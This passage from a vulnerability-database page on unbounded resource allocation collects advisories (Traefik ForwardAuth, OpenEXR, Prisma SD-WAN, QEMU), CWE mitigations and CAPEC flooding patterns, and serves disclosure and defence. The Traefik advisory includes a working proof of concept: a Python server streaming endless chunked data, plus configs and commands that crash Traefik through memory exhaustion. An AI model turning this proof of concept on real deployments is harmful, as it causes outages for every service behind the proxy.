maxBodySize config + warning log | forward.go:85-95 | | Auth server response to Traefik | None | forward.go:213 | ### PoC 1. Create a malicious auth server (auth_infinite.py): from http.server import BaseHTTPRequestHandler, HTTPServer class InfiniteAuth(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Transfer-Encoding", "chunked") self.end_headers() chunk = b"A" * (64 * 1024) try: while True: self.wfile.write(f"{len(chunk):x}\r\n".encode()) self.wfile.write(chunk + b"\r\n") self.wfile.flush() except BrokenPipeError: pass HTTPServer(("0.0.0.0", 9000), InfiniteAuth).serve_forever() 2. Traefik dynamic config (dynamic.yml): http: routers: protected: entryPoints: [web] rule: "PathPrefix('/admin')" middlewares: [auth] service: whoami middlewares: auth: forwardAuth: address: "http://auth:9000/auth" services: whoami: loadBalancer: servers: - url: "http://whoami:80" 3. Docker Compose (docker-compose.yml): services: traefik: image: traefik:v3.6 command: - --entrypoints.web.address=:8000 - --providers.file.filename=/etc/traefik/dynamic.yml ports: - "8000:8000" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro deploy: resources: limits: memory: 512M depends_on: [auth, whoami] auth: image: python:3.12-slim command: ["python", "/app/auth_infinite.py"] volumes: - ./auth_infinite.py:/app/auth_infinite.py:ro whoami: image: traefik/whoami:v1.11 4. Reproduce: docker compose up -d docker stats --no-stream traefik # ~14 MiB curl -s -o /dev/null http://localhost:8000/admin docker inspect traefik --format '{{.State.OOMKilled}}' # true docker inspect traefik --format '{{.State.ExitCode}}' # 137 (SIGKILL) Observed results: | Scenario | Memory | |----------|--------| | Idle baseline (20 seconds) | 14.8 MiB to 14.8 MiB (no change) | | 10 normal requests (4-byte auth response) | 14.8 MiB to 15.8 MiB (+1 MiB) | | 1 malicious request (no memory limit) | 98 MiB to 1.43 GiB (14.6x amplification) | | 1 malicious request (512MB memory limit) | 14 MiB to OOM kill in less than 3 seconds | After OOM kill, all routes on the entrypoint become unreachable — complete service outage. ### Impact This is a denial-of-service vulnerability. Any Traefik instance using the ForwardAuth middleware is affected. A single HTTP request can crash the Traefik process, causing a full outage for all services behind the affected entrypoint. Realistic attack scenarios include: - Multi-tenant platforms where tenants configure their own ForwardAuth endpoints (SaaS, PaaS, Kubernetes ingress controllers) - Compromised or buggy auth servers that return unexpected large responses - Defense in depth: even trusted auth servers should not be able to crash the proxy ### Suggested Fix Apply io.LimitReader to the auth response body, mirroring the existing maxBodySize pattern for request bodies: const defaultMaxAuthResponseSize int64 = 1 << 20 // 1 MiB limitedBody := io.LimitReader(forwardResponse.Body, defaultMaxAuthResponseSize) body, readError := io.ReadAll(limitedBody) Optionally expose a maxResponseBodySize configuration option for operators who need larger auth response bodies.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.37"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.38"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.8"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26998"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T18:23:25Z",
"nvd_published_at": "2026-03-05T19:16:05Z",
"severity": "MODERATE"
},
"details": "## Impact\n\nThere is a potential vulnerability in Traefik managing the ForwardAuth middleware responses.\n\nWhen Traefik is configured to use the ForwardAuth middleware, the response body from the authentication server is read entirely into memory without any size limit. There is no `maxResponseBodySize` configuration to restrict the amount of data read from the authentication server response. If the authentication server returns an unexpectedly large or unbounded response body, Traefik will allocate unlimited memory, potentially causing an out-of-memory (OOM) condition that crashes the process.\n\nThis results in a denial of service for all routes served by the affected Traefik instance.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.38\n- https://github.com/traefik/traefik/releases/tag/v3.6.9\n\n## Workarounds\n\nNo workaround available.\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nThe ForwardAuth middleware reads the entire authentication server response body into memory using io.ReadAll with no size limit. A single HTTP request through a ForwardAuth-protected route can cause the Traefik process to allocate gigabytes of memory and be killed by the OOM killer, resulting in complete denial of service for all routes on the affected entrypoint.\n\n### Details\n\nIn pkg/middlewares/auth/forward.go, line 213:\n\n body, readError := io.ReadAll(forwardResponse.Body)\n\nWhen the ForwardAuth middleware receives a response from the configured authentication server, it calls io.ReadAll on the response body without any size constraint. If the auth server returns a large or infinite chunked response, Traefik will attempt to buffer the entire body in memory until the process is killed.\n\nTraefik already recognizes this class of risk for the request body direction. When forwardBody: true is configured without maxBodySize, a warning is logged (line 91-94):\n\n logger.Warn().Msgf(\"ForwardAuth \u0027maxBodySize\u0027 is not configured with \u0027forwardBody: true\u0027, allowing unlimited request body size ...\")\n\nHowever, the response body path has no equivalent protection \u2014 no configuration option, no warning, and no default limit. The HTTP client has a 30-second timeout (line 102), but a streaming response can deliver hundreds of megabytes per second within that window.\n\n| Direction | Protection | Code |\n|-----------|-----------|------|\n| Request body to auth server | maxBodySize config + warning log | forward.go:85-95 |\n| Auth server response to Traefik | None | forward.go:213 |\n\n### PoC\n\n1. Create a malicious auth server (auth_infinite.py):\n\n from http.server import BaseHTTPRequestHandler, HTTPServer\n\n class InfiniteAuth(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Transfer-Encoding\", \"chunked\")\n self.end_headers()\n chunk = b\"A\" * (64 * 1024)\n try:\n while True:\n self.wfile.write(f\"{len(chunk):x}\\r\\n\".encode())\n self.wfile.write(chunk + b\"\\r\\n\")\n self.wfile.flush()\n except BrokenPipeError:\n pass\n\n HTTPServer((\"0.0.0.0\", 9000), InfiniteAuth).serve_forever()\n\n2. Traefik dynamic config (dynamic.yml):\n\n http:\n routers:\n protected:\n entryPoints: [web]\n rule: \"PathPrefix(\u0027/admin\u0027)\"\n middlewares: [auth]\n service: whoami\n middlewares:\n auth:\n forwardAuth:\n address: \"http://auth:9000/auth\"\n services:\n whoami:\n loadBalancer:\n servers:\n - url: \"http://whoami:80\"\n\n3. Docker Compose (docker-compose.yml):\n\n services:\n traefik:\n image: traefik:v3.6\n command:\n - --entrypoints.web.address=:8000\n - --providers.file.filename=/etc/traefik/dynamic.yml\n ports:\n - \"8000:8000\"\n volumes:\n - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n deploy:\n resources:\n limits:\n memory: 512M\n depends_on: [auth, whoami]\n auth:\n image: python:3.12-slim\n command: [\"python\", \"/app/auth_infinite.py\"]\n volumes:\n - ./auth_infinite.py:/app/auth_infinite.py:ro\n whoami:\n image: traefik/whoami:v1.11\n\n4. Reproduce:\n\n docker compose up -d\n docker stats --no-stream traefik # ~14 MiB\n curl -s -o /dev/null http://localhost:8000/admin\n docker inspect traefik --format \u0027{{.State.OOMKilled}}\u0027 # true\n docker inspect traefik --format \u0027{{.State.ExitCode}}\u0027 # 137 (SIGKILL)\n\nObserved results:\n\n| Scenario | Memory |\n|----------|--------|\n| Idle baseline (20 seconds) | 14.8 MiB to 14.8 MiB (no change) |\n| 10 normal requests (4-byte auth response) | 14.8 MiB to 15.8 MiB (+1 MiB) |\n| 1 malicious request (no memory limit) | 98 MiB to 1.43 GiB (14.6x amplification) |\n| 1 malicious request (512MB memory limit) | 14 MiB to OOM kill in less than 3 seconds |\n\nAfter OOM kill, all routes on the entrypoint become unreachable \u2014 complete service outage.\n\n### Impact\n\nThis is a denial-of-service vulnerability. Any Traefik instance using the ForwardAuth middleware is affected. A single HTTP request can crash the Traefik process, causing a full outage for all services behind the affected entrypoint.\n\nRealistic attack scenarios include:\n\n- Multi-tenant platforms where tenants configure their own ForwardAuth endpoints (SaaS, PaaS, Kubernetes ingress controllers)\n- Compromised or buggy auth servers that return unexpected large responses\n- Defense in depth: even trusted auth servers should not be able to crash the proxy\n\n### Suggested Fix\n\nApply io.LimitReader to the auth response body, mirroring the existing maxBodySize pattern for request bodies:\n\n const defaultMaxAuthResponseSize int64 = 1 \u003c\u003c 20 // 1 MiB\n limitedBody := io.LimitReader(forwardResponse.Body, defaultMaxAuthResponseSize)\n body, readError := io.ReadAll(limitedBody)\n\nOptionally expose a maxResponseBodySize configuration option for operators who need larger auth response bodies.\n\n\u003c/details\u003e",
"id": "GHSA-fw45-f5q2-2p4x",
"modified": "2026-03-05T22:28:55Z",
"published": "2026-03-04T18:23:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-fw45-f5q2-2p4x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26998"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.38"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Traefik has unbounded io.ReadAll on auth server response body that causes OOM DOS"
}
GHSA-FWCC-9735-QJCM
Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2022-05-24 17:46There's a flaw in OpenEXR's scanline input file functionality in versions before 3.0.0-beta. An attacker able to submit a crafted file to be processed by OpenEXR could consume excessive system memory. The greatest impact of this flaw is to system availability.
{
"affected": [],
"aliases": [
"CVE-2021-3478"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-31T14:15:00Z",
"severity": "MODERATE"
},
"details": "There\u0027s a flaw in OpenEXR\u0027s scanline input file functionality in versions before 3.0.0-beta. An attacker able to submit a crafted file to be processed by OpenEXR could consume excessive system memory. The greatest impact of this flaw is to system availability.",
"id": "GHSA-fwcc-9735-qjcm",
"modified": "2022-05-24T17:46:00Z",
"published": "2022-05-24T17:46:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3478"
},
{
"type": "WEB",
"url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=27409"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1939160"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/07/msg00001.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/12/msg00022.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-27"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FWQW-7MW3-VQ38
Vulnerability from github – Published: 2025-04-11 04:19 – Updated: 2025-04-11 04:19A denial-of-service (DoS) vulnerability in Palo Alto Networks Prisma® SD-WAN ION devices enables an unauthenticated attacker in a network adjacent to a Prisma SD-WAN ION device to disrupt the packet processing capabilities of the device by sending a burst of crafted packets to that device.
{
"affected": [],
"aliases": [
"CVE-2025-0122"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-11T02:15:18Z",
"severity": "MODERATE"
},
"details": "A denial-of-service (DoS) vulnerability in Palo Alto Networks Prisma\u00ae SD-WAN ION devices enables an unauthenticated attacker in a network adjacent to a Prisma SD-WAN ION device to disrupt the packet processing capabilities of the device by sending a burst of crafted packets to that device.",
"id": "GHSA-fwqw-7mw3-vq38",
"modified": "2025-04-11T04:19:27Z",
"published": "2025-04-11T04:19:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0122"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2025-0122"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:D/RE:L/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-FWV2-775H-QV4V
Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-08-16 00:00A flaw was found in the USB redirector device (usb-redir) of QEMU. Small USB packets are combined into a single, large transfer request, to reduce the overhead and improve performance. The combined size of the bulk transfer is used to dynamically allocate a variable length array (VLA) on the stack without proper validation. Since the total size is not bounded, a malicious guest could use this flaw to influence the array length and cause the QEMU process to perform an excessive allocation on the stack, resulting in a denial of service.
{
"affected": [],
"aliases": [
"CVE-2021-3527"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-26T22:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw was found in the USB redirector device (usb-redir) of QEMU. Small USB packets are combined into a single, large transfer request, to reduce the overhead and improve performance. The combined size of the bulk transfer is used to dynamically allocate a variable length array (VLA) on the stack without proper validation. Since the total size is not bounded, a malicious guest could use this flaw to influence the array length and cause the QEMU process to perform an excessive allocation on the stack, resulting in a denial of service.",
"id": "GHSA-fwv2-775h-qv4v",
"modified": "2022-08-16T00:00:42Z",
"published": "2022-05-24T19:03:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3527"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1955695"
},
{
"type": "WEB",
"url": "https://gitlab.com/qemu-project/qemu/-/commit/05a40b172e4d691371534828078be47e7fff524c"
},
{
"type": "WEB",
"url": "https://gitlab.com/qemu-project/qemu/-/commit/7ec54f9eb62b5d177e30eb8b1cad795a5f8d8986"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/09/msg00000.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/09/msg00008.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202208-27"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210708-0008"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2021/05/05/5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.